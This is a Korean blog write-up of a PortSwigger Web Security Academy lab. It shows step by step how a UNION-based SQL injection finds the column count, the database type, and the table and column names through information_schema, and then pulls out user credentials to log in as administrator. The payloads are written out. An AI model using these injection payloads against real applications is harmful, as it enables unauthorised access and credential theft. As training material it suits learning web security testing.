web security academy4

2026. 2. 9. 17:18ㆍ보안/Web security Academy

Lab: SQL injection attack, listing the database contents on non-Oracle databases

 

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

( 이 랩에는 제품 카테고리 필터에 SQL 주입 취약점이 포함되어 있습니다. 쿼리 결과는 애플리케이션의 응답에 반환되므로 UNION 공격을 사용하여 다른 테이블에서 데이터를 검색할 수 있습니다.

애플리케이션에는 로그인 기능이 있으며 데이터베이스에는 사용자 이름과 비밀번호가 포함된 테이블이 있습니다. 이 테이블의 이름과 포함된 열을 결정한 다음 테이블의 내용을 검색하여 모든 사용자의 사용자 이름과 비밀번호를 얻어야 합니다.

실험실을 해결하려면 관리자로 로그인하세요. )

 

1. burp suite에서 proxy 탭에서 실험실을 intercept 한후 repeater까지 진행

2. order by 를 사용해서 해당 웹페이지에 칼럼수를 확인합니다

 

3에서 오류가 발생했으닌 칼럼은 2개가 있는 것을 확인했습니다

3. 해당 웹페이지에서 사용하는 데이터베이스에 종류를 확인을 해봐야합니다

데이터베이스 버젼을 확인하는 명령어를 사용하여 어떠한 데이터베이스를 사용을 하는지 확인해봅시다

 

SELECT banner FROM v$version --> Oracle

SELECT @@version --> Microsoft , Mysql

SELECT version() --> PostgreSQL

 

현재 웹페이지에는 칼럼이 두개닌깐 Select 부분에 NULL칼럼을 추가하여 명령어를 실행시켜주면 됩니다

select version()명령어가 실행이 되는것을 확인하여 해당 웹페이지는 postgreSQL을 사용하는 것을 확인했습니다

 

4.  이제 데이터베이스에 있는 테이블 명을 확인하고 해당 테이블에 있는 칼럼을 출력해서 관리자 계정으로 로그인을 하면 됩니다

 

SELECT * FROM information_schema.tables

 

해당 명령어를 사용하여 데이터베이스에 테이블을 확인하면 됩니다 이때 주의를 해야할 점은 select를 할때 사용해야 할 칼럼명은 table_name을 추가하여 ' UNION SELECT table_name, null From information_schema.tables를 사용하면 

user 테이블 명을 확인할수 있습니다 이를 토대로 

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

 

SELECT Column_name, null FROM information_schema.columns WHERE table_name = 'users_ltuhbj'

해당 명령어를 사용하여 user 관련 컬럼명을 찾을 수 있습니다

 

다시 이를 토대로 'UNION SELECT username_tgpqpv,password_cgbdjx from users_ltuhbj 명령어를 사용하면 

 

 

이번 실험실에 목표인 관리자 계정에 아이디와 비밀번호를 확인할수 있습니다

 

ps.  시스템 정보를 관리하기 위해 사용하는 **information_schema**라는 라이브러리가 **국제 표준(ANSI/ISO SQL)**을 따르기 때문입니다. 이 표준 규격에서 "테이블 이름을 저장하는 컬럼의 이름은 table_name으로 한다"라고 딱 못을 박아두었습니다.(출처 제미나이)

'보안 > Web security Academy' 카테고리의 다른 글

web security academy6  (0) 2026.02.11
web security academy5  (0) 2026.02.10
web security academy3  (0) 2026.02.06
web security academy2  (0) 2026.02.05
web security academy  (0) 2026.02.04